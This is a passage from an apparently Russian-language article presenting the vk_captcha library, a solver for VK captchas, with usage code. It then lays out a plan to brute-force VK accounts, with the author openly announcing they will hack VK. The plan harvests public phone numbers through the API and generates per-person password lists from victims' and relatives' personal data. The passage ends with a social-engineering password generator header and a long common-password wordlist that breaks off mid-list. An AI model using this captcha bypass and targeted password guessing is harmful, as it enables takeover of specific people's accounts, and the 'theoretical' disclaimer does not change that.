                with lock: VkCaptchaSolver.FAIL_COUNT += 1
            raise

Установка и использование

Установка библиотеки:

pip install vk_captcha
or
pip install https://github.com/imartemy1524/vk_captcha/raw/main/dist/vk_captcha-2.0.tar.gz
or
pip install git+https://github.com/imartemy1524/vk_captcha

Ну и использование:

  1. С помощью библиотеки vk_api

from vk_captcha import vk_api_handler
vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha
vk_api_handler.Solver.logging = True  # enable logging
vk.auth() # get captcha error and automatically solve it
  1. "Ручками"

from vk_captcha import VkCaptchaSolver
import random, requests

session = requests.Session()  
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0'

solver = VkCaptchaSolver(logging=True)  # use logging=False on deploy
sid = random.randint(122112, 10102012012012)
easy_captcha = False
url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"

answer, accuracy = solver.solve(
    url=url,
    minimum_accuracy=0.33,  # keep solving captcha while accuracy < 0.33
    repeat_count=14,  # if we solved captcha with less than minimum_accuracy, then retry repeat_count times
    session=session  # optional parameter. Useful if we want to use proxy or specific headers
)
# or
#answer, accuracy = solver.solve(bytes_data=session.get(url))
print(f"I solved captcha = {answer} with accuracy {accuracy:.4}")
  1. Ну и куда в текущих реалиях без всемилюбимого async

    from vk_captcha import VkCaptchaSolver
    import random, asyncio
    solver = VkCaptchaSolver(logging=False)  # use logging=False on deploy
    async def captcha_solver():
        sid = random.randint(122112, 10102012012012)
        easy_captcha = False
        url = f"https://api.vk.com/captcha.php?sid={sid}&s={int(easy_captcha)}"
        answer, accuracy = await solver.solve_async(url=url, minimum_accuracy=0.4, repeat_count=10)
        print(f"Solved captcha = {answer} with accuracy {accuracy:.4}")
    asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
    asyncio.run(captcha_solver())
    

Ну и зачем весь этот сыр-бор?

Если, прочитав эту статью, вы задались вопросами по типу: «Ради чего это всё?», «Ради 20 рублей за 1000 капч?», то хочу вас "обеспокоить", всё это было не зря. Мы будем взламывать вк.

Дисклеймер №2:

Все последующие действия являются чисто теоретическими. Автор статьи никого не взламывал и не совершал никаких других противозаконных действий; он всего лишь "придумал" теоретическую возможность по обходу защитного функционала VK.

Автор также не советует (и ни в коем случае не побуждает) вам совершать никаких противозаконных действий с кодом ниже: помните про уголовный кодекс.

Немного о брутфорсе в реалиях 2023 года

Наверное многих школьников, решивших взломать вк, посещала мысь: "а давайте просто переберем пароли, и взломаем одноклассни[цу]?". Но вся реализация упиралась в неё — капчу, выскакивающую после 3-5 запросов, которую VK добросовестно начинал показывать молодым "злоумышленникам". Но теперь обойти 1 экземпляр этой защиты стоит нам всего 2мс, так что почему бы не провести "исследование" о том, насколько реально взламывать странички брутфорсом в 21 веке.

Кстати, VK до недавнего времени даже не чекал тайминги (да и вроде сейчас не всегда их проверяет): можно было решить капчу за 0.1 секунду, и, если она была решена правильно, нам честно давали ошибку, что пароль неправильный (или правильный).

Итак, первая идея, которая пришла мне на ум: «давайте, для получения информации, воспользуемся ОФИЦИАЛЬНЫМ API VK». Cмысл примерно такой: ищем аккаунты с публично указанным номером телефона и используем его как логин. Далее на основе других публично-личных данных (имени, фамилии, даты рождения, тех же данных их родственников/2х половинок) будем генерировать базу паролей для каждого конкретного пользователя

Скрипт генерации паролей на основе личных данных пользователя

# Date: 02/23/2019
# Original passgen author: Mohamed
# Some changed by: UnderMind0x41
# Description: A social engineering password generator
# This script required python version >= 3.0
import argparse
import sys


# 3.5k most popular passwords
# TOP_PASSWORDS = {'legend', 'bandit', 'deedee', 'FREEDOM', 'ZAQXSW123', 'games12345', 'read10', 'Chevy1', 'madonna', 'nikkoz', 'sfactory', 'nikita', 'snowball', 'aqwert', 'macintos', 'WOODWORK', 'member_name', 'yoyoyo', 'cloclo', 'intern', 'saskia', 'wisdom', 'praise', 'happiness', 'animoto', 'vfhbyf', 'SKIPPER', '123321', 'jesuschrist', 'любовь', 'designer', 'racoon', 'vcxzfdsa', 'beetle', 'cccccc', 'asembler', 'qwerty33', 'newbie', 'rosebud', 'harold', 'Snowbal', 'camille', 'regusers', 'iloveaol', 'testtest', 'hollister', '87654321qwerty', 'DEPECHE', 'usrname', 'Jimbob', 'ACIDBURN', 'Tardis', 'sysadmin', 'hilary', 'qwerty4321', 'charles', 'canibal', 'reckah123', 'grover', 'Bowling', 'shorty', 'Cowboy', 'travel', 'Aa123456.', 'matthew1', 'loverboy', 'ncc1701d', 'knight', 'steaven', 'marines', 'irarref', 'upiter', 'christmas', 'liliana', 'imagine', 'rocky1', 'Tiffany', 'unstable', 'GIVEALL', 'logitech', 'liverpool1', 'romuluzz', 'user_n', 'Fishing', 'popeye', 'gateway', 'spammer', 'brooke', 'cecilia', 'victor', 'molson', 'userpasswd', 'megabit', 'goblue', 'impala', 'stargate', 'thunder', 'Tootsie', '987456', 'gustavo', 'MYICQUIN', 'hammer', 'sergei', 'myname', 'popcorn', 'benoit', 'aaaaaaaa', 'Chiefs', '66666666', 'FERRARI', 'sprite', 'stanley', '147258', 'MIR@nda', 'login_name', 'brewster', 'mystic', 'bright', 'dustin', 'thumbs', '143143', 'tatiana', 'CREATION', 'salvador', 'Sanders', 'artist', 'killem0l', 'tristan', '682995', 'winner', 'qweasdzxc', 'ИТЪВЯЛ', 'fireball', 'ilovehim', 'CHELSIA', 'trouble', 'GOBLIN', 'Justin', 'passwords', 'amelia', 'phoenix1', 'kelsey', 'zxcasd', 'linkinpark', 'penguin', 'administrator123', 'kermit', 'zxcdsaqwe11', 'mysql.user', 'hotchick', 'asdf', 'Spirit', 'esther', 'sarita', 'vputin', 'loveme2', 'August', 'Dustin', 'guinness', 'NOTEBENE', 'whatever', 'loser1', 'number', 'Soccer', 'charlie1', 'naruto', 'starter', 'tigers', '54321', 'emerpus', 'symbol', 'mywapis', 'Johnny', '12345qwe', 'administrat0r', 'Babies', 'icqpass', 'sailor', 'uoyevoli', '4444444', 'smashing', 'monster', 'pelusa', 'maria', 'vanilla', 'qwerty007', 'Basket', 'conrad', 'm@ster', 'Elwood', 'cxzasd', 'anyway', 'jackie', 'soccer1', 'p_word', 'blessed', 'drakula', 'converge_pass_salt', 'qazxswedcvfr', 'shanti', 'administrator', 'qcinigol', 'baltika9', 'indiana', 'emmanuel', 'qwerty2012', 'stinky', 'MIRANDA', 'Vampire', 'toyota', 'oldman', 'skaradub', 'red123', 'adminusername', 'scooby', 'niudekcah', 'gregory', 'nadine', '!QWERTY', 'beagle', 'cowboy', 'pogiako', 'daniel1', 'my_password', 'norton', 'oxford', 'powerman', 'ledzep', 'torres', 'broken', 'Shooter', 'electric', 'win2000', 'kittens', 'estrellita', 'schleker', 'ЪТИЖСЙ', 'college', 'orbita', 'monkeys', 'connie', 'patito', 'Lexus21', 'mitchell', 'princess', 'sysadmins', 'user_list', 'cyclone', 'sheena', 'sysusers', 'security', 'buttons', 'aimuin', 'frederic', '1qwerty1', 'dolphins', 'stupid', 'daniel', 'lockout', 'CAT&DOG', 'UNKNOVVN', 'babaytugur', 'guanli', 'Robert', 'ROBINGUD', 'testing', 'rafael', 'zxcvfdsa', 'admin_userinfo', 'alyssa', 'fantom', '1a2b3c', 'booboo', 'barbara', 'Smokey', 'QIP123', 'julian', 'clientname', 'moomoo', 'qazwsx', 'bigfoot', 'maganda', 'phoenix', 'tweety1', 'Grandma', 'screen', 'fantasy', 'guadalupe', 'spanky', 'potaptik', 'brithney', 'undead', 'angelita', 'barney', 'ramazik', 'molly1', 'administrator_name', 'Frosty', 'cantik', 'COVID19', 'Bigfoot', 'quake3', 'tarzan', 'gorgeous', 'wilbur', 'qwe456', 'yourmom', 'zxcdsa44', 'Shotgun', 'morena', 'bonnie', 'corazon', 'friendster', 'Arctic', 'genezis', 'hemmelig', 'ytinirt', 'explorer', 'gretchen', 'pma_table_info', 'monday', 'qwertyasdf', 'ALTENTER', 'secret12', 'qwert12345678', 'win2008', 'myself', 'davinchi', 'search', 'asdfghjkl', 'watermelon', 'Minnie', 'justine', 's@b@k@', 'mickey1', 'kevin1', '1q2w3e4r', 'Rooster', '9999999', 'vfrcbv', 'logini', 'bowwow', 'Hearts', 'install', 'lolipop', 'panther', '987654', 'КЧАНБЭ', '321123', 'qawsedrf', 'gerard', 'Chegg123', 'selena', 'pepper', 'PASSWORD', 'babylon5', 'usernm', 'mommy1', 'oatmeal', 'champion', 'SINISTER', 'MYICQ╧IS', 'benjamin', 'cinderella', 'iluvme', 'sasuke', 'marvin', 'VERSUS', 'xbox360', '1qaz!QAZ', '918273645', 'imissyou', 'LONGHORN', 'training', 'matrixfx', 'catalog', 'metropol', 'dominic', 'bonjour', 'rastaman', 'retupmoc', '312321', '3333333', 'nemezida', 'phoebe', 'love4ever', 'buster1', 'BATMAN', '01234qwerty', 'keywords', 'pacific', 'epidemic5', 'iof314', 'ghetto', 'foxtrot', 'user_pwd', 'ffokcuf', 'isabel', 'PRESSURE', 'BATNAN', 'pisces', 'mazda1', 'UserControl', 'ANARCHY', 'MYICQ#IS', 'hotstuff', 'kapusta', 'cooper', 'alt+0160', 'Dexter', 'userinfo', 'kramer', 'COURAGE', 'chester', 'asterix', 'kitkat', 'chemist', 'pidarast', 'covid-19', 'converge_pass_hash', 'station', 't-bone', 'legolas', '51905190', 'f00tb@ll', 'amigas', '131313', 'panthers', 'nastya', 'qzwxecrv', 'hacker', 'gerald', 'goddess', 'melvin', 'fatima', 'school', 'my_name', 'norman', 'Tolkien', 'tenretni', 'useradmin', '0987865', 'Yankees', '0qwerty', 'pass_hash', 'quality', 'lover1', 'Tazman', 'hahaha', 'tb_member', 'aaliyah', 'sysconstraints', 'musername', 'startrek', '5555555', 'steele', 'sweety', 'zxcasdqwe', 'venera', '12341234', 'kilemall', '1234567qwerty', 'wwwwww', 'ytrewq', '***Samson***', 'site_login', 'bethoven', 'unreal', 'denali', 'fucker', '%username%!@#$', 'cms_users', 'santos', 'jessie', 'phpadmin', 'cuteme', 'tiffany', 'metallic', 'Hatton', 'images', 'newcourt', 'porter', 'Killer', '696969', 'rosario', 'strawberry', '123zxc', 'magician', 'scrible', 'Xanadu', 'Brandi', 'nipper', 'australia', '007007', '1234qwerty', 'login_user', 'Johnson', 'yellow', 'October', 'qwertyu1', 'christina', 'PREDATOR', 'england', 'DOG&CAT', 'Covid2019', '246810', 'FORTUNE', 'redwing', 'penelope', 'robotech', 'staford', 'login_username', 'RAMSTEIN', '654321qwerty', 'Abcdef', '567890', 'admin12', 'america7', 'password12', 'Welcome1', 'google', 'formatC', 'analshit', 'tinkerbell', '!@#$%^&*()_+', 'spencer', 'dickhead', 'win2003', '1qw23e', 'ncc1701e', 'suzuki', 'марина', 'forall', 'support1', 'clipper', 'walter', 'Coolman', 'rebecca', '151515', 'summer1', '1435254', 'yamaha', 'NVIDIA', 'yxalag', 'fisher', 'ginger', 'pa$$1234', '123qweasdzxc', 'ashley1', 'debbie', 'lester', '@administrator', '1234qwert', 'accept', 'jeanne', 'blizzard', 'billabong', 'user_level', 'mighty', 'niceday', 'xuyxuy', 'sharon', 'Chester', 'joshua1', '987654321qwerty', 'french1', 'jasper', 'LOCHNESS', 'robert1', 'Airhead', 'francois', 'unicorn', 'scooter', 'carlos', 'darling', 'nebraska', 'arlene', 'w1w2w3', 'lorenzo', 'buldog', 'angels', 'remember', 'russell', 'kimberly', 'ЛЮПХМЮ', 'michel', 'pass_word', 'Walleye', 'gatita', 'film@123', 'undertaker', 'qwerty1992', 'bigred', 'asdfgh', 'thomas', 'MONSTER', 'jewels', 'alison', 'elizabeth1', 'single', 'adidas', 'pascal', 'filosofy', 'sting1', 'Gunner', 'rachel', 'florida', 'mihaela', 'racerx', '102030', 'maradona', '12qwerty12', 'nargiz', 'bonita', 'cartoon', '753159', 'NAPOLEON', 'dsadsa', 'grumpy', 'claudia', 'kristin', 'lovelove', 'fuckyou', 'JSBach', 'yfnfif', 'Emmitt', 'mariah', 'felipe', '33333333', 'badboy', 'booger', 'friends1', 'jasmine1', 'columbia', 'cougars', 'member_login_key', 'nesbitt', 'sister', 'lestat', 'Reader', 'emanuel', 'princesa', 'dancer', 'sweetie', 'metallica', 'scotty', 'players', 'ИЖСЙЕМЦЬ', 'happyday', '123456q', 'qwer123', 'Gemini', 'sophia', 'admins', 'eminem', 'john316', 'altctrl', 'user_login', 'supreme', 'ИТЪВШЖ', 'denise', 'charlotte', 'tamara', 'svetik', 'CYBORG', 'madrid', 'newuser', 'PRINCESS', 'Chicago', 'adminpass', 'mem_pass', 'P@SVVORD', '21qwerty', 'customer', 'playgirl', 'WIZARD13', 'aqswdefr', 'number1', 'Honda1', 'bond007', 'newsid', 'AAAAAA', 'gasman', 'viper1', '59trick', '888888', 'wolverin', 'mahalko', 'CHANEL', 'qazqaz', 'content', 'shadow', 'PUSSYCAT', 'esmeralda', '123789', 'welcome', 'strawber', 'doogie', 'dragon1', 'Speedy', 'Melissa', 'conner', 'buster', 'nicole1', 'Aikman', 'BON_JOVI', 'UNIVERSE', 'topher', 'STATIC', 'tequieromucho', 'jenjen', 'user_pword', 'bettyboop', 'micheal', 'mookie', 'perfect', 'alisha', 'valhalla', 'taylor', 'ecuador', 'ACHTUNG', '168168', 'emerald', 'password2', 'deadhead', 'julie1', 'shogun', 'ENTRANCE', 'Sparky', 'marissa', 'francis', 'mylife', 'porsche9', 'terminal', 'sexylady', 'caesar', 'naughty', 'Lakota', 'ashlee', '020202', 'Pacers', 'CyberL0rd', 'lalala', 'emailaddress', 'talisman', 'windows2003', '0123456789', 'maggie', 'megalol', '01qwerty', 'sunset', 'member_id', 'factory', 'jessica', 'spitfire', 'creative', 'lollipop', 'Maddock', 'zxcdsaqwe12345', 'monkey', 'snowman', 'azsxdcfv', 'slipknot', 'shveden', 'douglas', 'zxcvbnm,', 'nirvana1', 'teddy1', 'packard', 'miranda3', 'hayden', 'pasaway', 'graymail', 'usr_pw', 'salmon', 'marie1', 'friends', 'celica', 'il0vey0u', 'sapphire', 'alex13', 'nathan', 'People', 'Stacey', 'un1ver$e', 'coffee', 'miguel', 'scooter1', 'indigo', 'Teacher', 'pa$$word', 'slacker', 'area51', 'friday', 'OVERRIDE', '7897984', 'MAXPAYNE', 'boomer', '1234565', 'anderson', 'zhongguo', 'Runner', 'REGISTER', '1111111', 'stallone', 'fitness', 'format_c', 'immortal', 'Reebok', 'scuba1', 'teddybear', 'bitch1', 'aquarius', 'winston', 'dodgers', 'Kathryn', 'pinkfloy', 'Sports', 'banane', 'capricorn', 'elliot', 'gracie', 'kitten12', 'Martha', 'whisky', 'lindsey', 'eclipse', 'asdcxz', 'minnie', 'batman', 'katrina', '999999999', 'duckie', 'user_usernun', 'invalid', '123456qwerty', 'ctrlalt', 'cougar', 'maxime', '9876543210', 'condom', 'jeremy', 'Dakota', 'micros', 'cowboys', '!pwd@ti', 'jackson', 'METAFORA', 'Blazer', 'zxcdsa33', 'cookie1', 'holland', 'daytek', 'Little', 'tigger', 'catwoman', 'timothy', 'Knights', 'johnny', 'Author', 'tb_user', 'epidemic1', 'usrpass', 'inuyasha', 'user_ip', 'lastname', 'camilo', 'bebita', 'love12', '00000000', 'chacha', 'diablo', 'Bookit', 'MODERN', 'debbuger', 'usr_nusr', 'control', 'laptop', 'abcdef', '123abc', 'daniela', 'pantera', 'blowfish', 'celeste', 'pangit', 'pierce', 'elijah', 'hector', 'maribel', 'Malibu', 'memberlist', 'victory', 'august', 'silence', 'techno', 'rockon', 'cristo', 'thomas1', 'Kinder', 'spacer', 'abcd1234', 'jessica1', 'leningrad', 'temppass', 'adrian', 'phpmyadmin.pma_table_info', 'wp_users', 'controle', 'navalny', 'aaaaaa', 'GLOBUS', '0123qwerty', 'adminlogin', 'Science', 'Vikings', 'animals', 'nubobap', 'psalms', 'Rodman', 'stephen', 'loveyou', 'richard', 'epidemic', 'chichi', 'sweetpea', 'victoria', 'qazwsxed', 'adress', 'SCORPION', 'online', 'qwerty21', 'DROWPASS', 'master1', 'cookie', '000000', 'glitter', 'killer', 'chimaira', 'Fluffy', 'GARBAGE', 'myspace1', 'vampire', 'wkarlo', 'Heather', 'pallmall', 'tb_login', '1234qwer', 'macafee', 'snoopdog', 'carter', 'dayana', 'Raistlin', 'covid2020', 'poopoo', 'corwin', 'dogbert', 'Shorty', 'Champs', 'test1234', 'KITANA', 'hal9000', 'klepan', 'blasphem', 'chrissy', 'Kristy', 'politics', 'katherin', 'mypassword', 'remal321', 'tr1n1ty', 'ИЖСЙЕМТШБЮ', 'Broncos', '161616', 'dolphin', 'bird33', 'micron', 'health', 'eduardo', '2cute4u', 'family', 'COLUMBUS', 'connor', 'indian', 'CTRALTDL', 'sweamer', 'qwerty0123456789', 'thx1138', 'vision', 'leslie', '88888888', 'Braves', 'harvey', 'ICECUBE', 'Farmer', 'rossia', 'pass_w', 'maverick', 'market', 'martini', 'nursing', 'brutus', 'mariana', 'speedo', 'cristina', 'godzilla', 'septembe', 'Surfer', 'hotgirl', 'qwerty123456', 'bigman', 'bigdog', 'rtyuiop', 'Blowme', 'butthead', 'alfred', 'pearljam', 'Friends', '1q2w3e4r5', 'troppus', 'system32', 'michele', '080808', 'Hornets', 'nemezis', 'Hanson', 'pokemon', 'people', 'temporal', 'tester', 'september', 'Number1', 'reggie', 'cc_number', 'dubsmash', 'superman', 'leonardo', 'kittykat', 'hctib123', 'passvord', 'trident', 'laskovaja', 'mailman', 'outbrake', 'santiago', 'mariposa', 'martin', '4815162342', 'u_name', 'zaqxswcde', 'my_email', 'mememe', 'insane', 'flymode', 'xar_pass', 'avrets', 'orgazm', 'catalina', 'junior', 'Digger', 'userpw', 'status', 'b00ster', 'anthony', 'forever', 'hernandez', 'trebor', 'mycomputer', 'wonder', 'Rhonda', 'lavender', 'qwert123', 'qazxsw', 'marina', 'bianca', 'elephant', 'Griffey', 'number9', 'jaguar', 'CIVILIAN', 'dinozavr', 'cuteako', 'sagitario', 'nellie', 'apollo13', 'slideshow', '112233', '242424', 'iloveu', 'arizona', 'VOODOO', 'iloveu2', 'Nicole', 'maracle', 'idontknow', 'gatito', 'sparrow', 'rodrigo', 'samson', 'besadmin', 'martinez', 'iloveme', 'charlie', 'myicq#', '59mile', 'Espanol', 'cinder', 'Mickey', 'busted', 'SATANA', 'bubblegum', 'Passw0rd1', 'copernic', 'cyrano', 'christian', 'DEFAULT', 'МЮРЮЬЮ', 'firefox', 'bullshit', 'backupexec', 'Packer', 'userpwd', 'philosof', 'teiubesc', 'LEXICON', 'madman', 'mierda', 'isadmin', 'britney', 'babyboo', 'ubludok', 'jayson', 'g_czechout', 'Kitten', 'Hockey1', 'natalie', 'cybernet', 'UNKNOWN', 'Doggie', '00000', 'colleen', 'honey1', 'truelove', 'business', 'mistica', 'shaggy', 'softball', 'michael.', 'alexis', 'loginkey', 'manson', 'brandy', 'putin01', 'Clover', 'cerber', 'MAZAFAKA', '741852963', 'shopping', 'athena', 'marlboro', 'Compute', 'Retard', 'максим', 'Speech', 'caitlin', 'SCROLL', 'barbie', 'shithead', 'parola', 'q1w2e3r4t5y6', 'ЛЮЙЯХЛ', 'Cheryl', 'kisses', 'passwd', 'Marshal', 'babygurl', 'Orlando', 'Zxcvbnm', 'booster', 'summer', 'israel', 'adminpsw', 'user_username', 'ststic', '7758521', 'db_hostname', 'user_pwrd', 'mem_pwd', 'shleker', 'Topgun', 'systime', 'cuteko', 'willow', 'KILLEMOL', '1234qwerty1234', 'dragon', 'genesis', 'nguyen', 'crystal', 'pedofil', 'ballet', 'pass1234', 'sakura', 'challeng', 'domino', 'SOLDIER', 'murphy', 'laikos', 'spongebob', 'stefan', 'weapon', 'Spunky', 'ETERNITY', 'marshall', 'LUCKY123', 'chicken', 'teacher', 'VURDALAK', 'jason1', 'yomama', 'йцукен', 'theatre', 'lourdes', 'Russel', '][aker13', 'heather', 'manage', 'soleil', 'brittany', 'energy', '444444', 'qwerty12345', 'donald', 'Maddog', '1234567qwert', 'Skinny', 'orchid', 'Button', 'star69', 'freddy', 'hannah', 'volleyball', 'impotent', 'abc123', 'monopoly', '22222222', 'magnum', '741852', 'fi$her', 'NATURE', 'sammie', '784512', 'telecom', 'marisa', 'alexande', 'claire', 'lizzie', 'gandalf', 'MYZTIC', '576823', 'a1b2c3d4', 'akrmaz', 'sweetness', 'musica', '@#$%^&', 'alfredo', 'ramona', 'EXORCIST', 'Monica', 'session', 'Cleaner', 'intrepid', 'Windows', 'jackass', 'ACT_INFO', 'lovely1', 'p_assword', 'personal', 'adminroot', 'asdfghj', '2222222', 'qazedc', 'lauren', 'MUDVIN', 'president', 'Footbal', '123qwe', 'xxxxxx', 'andrew', 'jamaica', 'computer', 'setting', '12345', 'aylmer', 'admin_pwd', 'lorraine', 'wright', 'spiderman', 'lupita', 'georgia', 'Groovy', 'isabelle', 'ramirez', 'memlogin', 'iverson', 'johanna', 'beautifu', 'sexybitch', 'dratsab', 'webusers', 'sunny1', 'jasmine', 'topcat', 'workgroup', 'teamomucho', 'Farming', 'million', '12345678qwerty12345678', 'copper', 'millie', 'anonymous', 'zephyr', 'somsoc', 'zenith', 'Challenge', 'christia', 'format', 'Killme', 'nascar', 'qwerty1234', '8888888', '123qwerty123', 'Cooper', 'sb_admin_name', 'renegade', 'chrisbrown', 'michael1', '01234567qwerty', 'phantom', 'susana', 'qw1234er', 'covid19', 'wolfMan', 'blink182', 'qwerty012345678', 'Alicia', 'Senior', 'AndrewK', '895623', '171717', 'scruffy', 'trustno1', 'account', 'Froggy', '1234', 'usr_pass', 'trixie', 'hershey', 'amigos', 'bluesky', 'kissmyass', 'edonkey', 'malcolm', 'darwin', 'user_id', 'sparkle', 'eastwest', 'psycho', '!@#$%^&', 'Jimmy2503', 'site_logins', 'butterfly1', 'stealth', 'astrix', 'Uragan-75', 'access', 'samsung', 'michael', 'APACHE', 'shvine', 'yellow1', 'membername', 'RUNDLL32', '1q2w3e*', 'project', 'potter', 'anyone', 'id_member', '123456789', 'justme', 'qwert1', 'qwerty012345678910', 'cms_admins', 'Squirt', 'bhebhe', 'TEACHERS', 'sweet1', 'COVID19_Access', 'mifesto', 'axszdvfc', 'Subjects', 'reg_users', 'letmein', 'doctor', 'zxcdsa11', 'AOL123', 'zaqxsw', 'janelle', 'outlook', 'kleenex', 'adminpassword', 'Hotrod', 'julius', 'amfibia', 'christopher', 'adminupass', 'sharona', 'ИЖСЙЕМ', 'godisgood', 'marcela', 'sammy1', '789321', 'barclay', 'skyline', 'adminpwd', 'diamonds', '12345qwerty12345', 'inside', 'sunshine', 'amores', 'hybrid', 'direct1', 'enrique', 'europe', 'claude', 'Skidoo', 'phillip', 'darkangel', 'iubire', 'dakota', 'patrick', 'nautica', 'juliana', 'firebird', 'cheche', 'mutation', 'Tanner', 'INVISIBL', 'login_password', 'dr0wp@ss', 'xfiles', 'FIREWALL', 'sonbitch', 'jayden', 'Fender', 'beautiful1', 'System', 'engineer', '123', 'pe_user', 'corona', 'lovehurts', 'Vanessa', 'artdesign1', 'ariana', 'castillo', 'babyphat', 'football', 'incubus', '520520', 'family1', 'therock', 'mcafee', 'qwerty11', 'syssegments', 'zxcdsaqwe22', 'miranda1', 'marisol', 'grandma', 'amanda', 'members', 'ZUNAMI', 'qwerty87654321', 'princesita', 'sexy123', 'weasel', 'hermosa', '@sysadmin', 'Cowboys', 'picture', '123ewq', 'etoile', 'chicken1', 'f1ref0x', 'hansolo', 'cms_user', 'sunofvault', '6666666', 'nonamer', 'daddy1', 'Action', 'Hobbit', 'usr_name', 'test1', 'sabak@', 'richman', 'q1w2e3e4', 'suport', 'Wolves', '50cent', 'wanker', 'coronavirus', 'briana', 'adminid', 'coronavirus1', 'Brasil', 'andreea', 'user_usernm', 'crazymen', '222222', 'paradise', 'tricia', 'asshole1', 'flamingo', 'Wildcat', 'cxzcxz', 'avalon', 'newyork', 'larry1', 'seven7', 'joyjoy', '10pace', 'majordom', 'serenity', '159159', 'babygurl1', 'freak1', 'Biology', 'Drizzt', 'classroo', 'superstar', 'linkin', 'pentium', 'quebec', 'austin', 'daddysgirl', 'CLEVERMAN', '!@#$%^&*(', 'Animal', 'habibufc', 'danica', 'saturday', 'gabrielle', 'Sidney', 'joanna', 'JEREMY', 'FORMATC', 'lecasolo', 'Tweety', 'nimrod', 'zaxscd', 'houston', 'Jessie', 'absolut', 'southside', 'cancer', 'pebbles', 'marine', 'asdfjkl', 'helena', 'puppies', 'sexy12', 'archie', '77777777', 'Browns', 'BigBird', 'shutup', 'cemetery', 'kelvin', 'cocacola', '44444444', 'cwsiadmin', 'majestic', 'user_pass', 'utopia', 'anamaria', 'Packers', 'user_passw', 'tequila', 'redrum', 'tucker', 'judith', 'taurus', 'g0dm0de', 'punkin', 'login_pass', 'purple', 'nopassword', 'killer66', 'iloveyou', '333333', 'cheerleader', 'lucky1', 'snuffy', 'camaro', 'inlove', 'zaraza', 'Phillip', 'Voyager', 'bugsbunn', 'qazzaq', 'baseball1', 'solemn', 'jordan1', 'zeppelin', 'celticfc', 'наташа', 'greenday', 'shadow1', 'taylor1', 'xavier', 'ronnie', 'Hockey', '1234567', 'per$on@l', 'Reading', 'viarif', 'manutd', 'sassy1', 'converse', '99999999', 'please', 'batista', 'alberto', 'jesucristo', 'cms_admin', 'Rebels', 'hottie', 'krystal', 'newcastle', 'oliver', 'ariane', 'pookie1', 'reg_user', '112112', 'ИТЪВШЖСБЯ', 'Chrissy', 'tbladmins', 'scream', 'wednesda', 'loveme1', 'Ginger', 'alex78', '12348765', 'motorola', 'marcel', 'zxcdsa12345', 'Lennon', 'reckah321', 'sentenced', '123456a', 'article', 'qwerty123456789', 'playboy1', 'flores', 'login_passwd', 'angelina', 'loveme', 'MUSTANG', 'deffer', 'velvet', 'jayjay', 'xar_name', 'fabiola', 'baran123', '232323', 'detroit', 'brandon1', '147852369', 'jordan23', 'Beavis', 'hottie1', 'baseball', '1314520', 'support3', 'Beaner', '888999', 'nnallex', 'eagle1', 'gfhjkm', 'laddie', 'thumper', 'Purple', 'desiree', 'superman1', 'tarantul', 'labtec', 'Dwight', 'happy1', 'kissme', 'babycakes', 'taytay', 'COLORADO', 'birthday', '54321qwerty', 'SATANIC', 'qwerty7654321', 'qweqwe', 'bethany', '224466', 'iloveyou!', 'eagles', 'Frankie', 'kostikd', 'love123', 'Hotdog', 'dioretsa', '1111111111', 'Passwor', 'dollar', 'birdie', 'shelley', 'ashley', 'f00tball', 'abigail', 'benfica', 'gocougs', 'brenda', 'marley', 'stella', 'qwerty012', 'corrado', 'iloveyou2', 'william1', 'sunshine1', 'LocalAdministrator', 'ОЮПНКЭ', 'qwe12345', 'admin123456', 'biteme', 'CHANNEL', 'ranger', 'h2opolo', 'hannah1', '1q2w3e4r5t6y', 'oligarch', 'Snoopy', 'Volley', 'Buttons', 'isabella', '7758258', 'qwertyasdfg', 'amelie', 'cheese', 'jonathan', 'redface', 'diosesamor', 'tekiero', 'krovatka', 'rabbit', 'admin_password', 'huiznaet', 'brooklyn', 'rochelle', 'depurple', 'pass1word', 'qwertyui', '968574', 'Weezer', 'dennis', 'disney', 'amistad', 'adminadmin', 'dianita', 'Tractor', 'mississippi', 'andres', 'GoddoG', 'qwert123456789', 'user_info', 'loulou', '456321', 'beatriz', 'sonofАХВ', 'promethe', '1qwerty', 'fozzie', 'puppy123', 'mishka', '%username%1', 'user_passwd', 'Wheels', 'saturn', 'CatdoG', 'gilles', 'gofish', 'bluebird', 'user_name', 'maryjane', 'smiles', 'babydoll', 'mortal', 'pandora', 'pirate', 'ytrewq321', 'republic', 'user_pw', 'screen10', 'juventus', 'Nirvana', '!@#$%^&*', 'FLIGHT', 'qwerty', 'qwerty01234', 'snoopy', 'deliver', 'medical', '1qazxsw2', 'Coronavirus2020', 'esteban', 'Sendit', '159357', 'kenneth', 'megadeth', 'ph4ntom', 'Password1', 'sabrina', 'clubconfig', 'sergio', 'hawaii', 'valerie', 'valentina', 'qwerty0', 'sysuser', 'fapfap', 'herbert', 'SADAMAZA', 'qweasd', '9379992', 'qwerty44', 'ufolog', 'cjkysirj', 'propu$k', 'lovelife', 'SCHWARZ', '1qaz2wsx3edc', 'damian', 'adminemail', 'casino', 'Puckett', 'vfa1993', 'qwertyy', 'sunbird', 'hotdog', 'enigma', 'xcountry', 'tequiero', 'eeyore', 'worked', 'purple1', 'attila', 'eXtreme', 'analsex', 'angel123', 'qazxswedc', 'niger13', 'marcos', 'father', 'chinita', 'miamor', 'skater', 'Trucks', 'P@$VVORD', 'ase4ka', 'tigger1', 'informix', 'catfish', 'jordan', 'привет', 'tintin', '1qaz2wsx', '0987654321', 'dedicated', 'carole', 'amorcito', 'trinity', 'gerrard', 'Travis', 'beauty', 'Library', 'Carlos', 'kitten', '0000000', 'dr0wp@$$', 'MORBID', 'thebest', 'christy', 'hermes', 'chelsea', '%null%', 'logical', 'sunday', 'slipknot1', 'buttercup', 'backup', 'roberto', 'ncc1701', 'handsome', '794613', 'pickle', 'joseluis', 'shakira', 'charlene', '111222', 'ILOVEYOU', 'bailey', 'QWERTY!', 'qwerty12345678910', 'sidorov', 'pandemic1', 'Carrie', 'nemesis', 'sanjose1', 'darren', 'fuckyou2', 'LUNATICK', 'kingfish', 'Bananas', 'config', 'chubby', 'martin1', 'yonghu', 'nopassw', 'cascade', 'chiquita', 'sexyme', 'dragonfl', 'Passwort', 'brittney', 'sunflower', 'a12345', 'joseph', 'Eagles', '123qwerty', 'ZXCZXC', 'rsetprofy', 'everyday', 'tuesday', 'terminator', 'Polaris', 'january', 'nicolas', 'iloveme1', 'mirage', 'test123', 'cutegirl', 'belamor', 'robbie', 'paganini', 'latina', 'ewqewq', 'fountain', 